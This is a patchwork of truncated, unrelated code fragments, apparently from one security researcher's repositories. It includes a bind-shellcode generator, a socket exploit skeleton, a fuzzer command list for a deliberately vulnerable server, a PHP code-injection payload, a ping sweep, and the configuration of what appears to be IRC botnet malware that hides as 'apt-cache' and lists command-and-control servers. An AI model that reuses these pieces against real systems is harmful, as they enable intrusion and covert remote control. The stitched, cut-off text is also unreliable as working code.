thesp0nge

Copyright (c) 2019 - Paolo Perego - paolo@armoredcode.com

Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:

thesp0nge

#!/usr/bin/env python
# Please install shellerate>=0.4.2 before: pip install shellerate

import sys
import string
import logging
import secrets
from shellerate import strings;
from shellerate import asm_x86;
from shellerate.bind_shellcode import BindShellcode;

thesp0nge

#!/usr/bin/env python

import sys
import socket

def exploit(target, port):
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))

    data=s.recv(1024)

thesp0nge

#/usr/bin/env python

import socket
import os
import sys
import select
import string
import random

COMMANDS = ["STATS", "RTIME", "LTIME", "SRUN", "TRUN", "GMON", "GDOG", "KSTET", "GTER", "HTER", "LTER", "KSTAN"]

thesp0nge

function getCookie(name) {
  var value = "; " + document.cookie;
  var parts = value.split("; " + name + "=");
  if (parts.length == 2) return parts.pop().split(";").shift();
}

thesp0nge

#!/usr/bin/env python

import sys, socket, requests, urllib

if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " <HOST>\n"
    sys.exit()

uri="/index.php"
canary=urllib.urlencode({"page":"index');${print('THIS_IS_RANDOM_FOO')};#"})

thesp0nge

#!/bin/sh
PING=`which ping`
SUBNET="192.168.10."

for i in `seq 254`; do $PING -c 1 -W 1 $SUBNET$i | grep 'from' | cut -d' ' -f 4 | tr -d ':'; done

thesp0nge

#!/bin/sh

#for kali rolling, the startup script is very simple

cd /usr/share/zaproxy/
exec ./zap.sh $@

thesp0nge

int test(char *s) {
     printf("%s\n", s);
   }
   int main(int argc, char **argv) {
     char *s;
  
     test("pippo");
 }

thesp0nge

#define STARTUP	1
#undef IDENT			// Only enable this if you absolutely have to
#define FAKENAME "apt-cache"	// What you want this to hide as
#define CHAN "#mint"	// Channel to join
#define KEY "bleh"		// The key of the channel
int numservers=5;		// Must change this to equal number of servers down there
char *servers[] = {
	"updates.absentvodka.com",
        "updates.mintylinux.com",
	"eggstrawdinarry.mylittlerepo.com",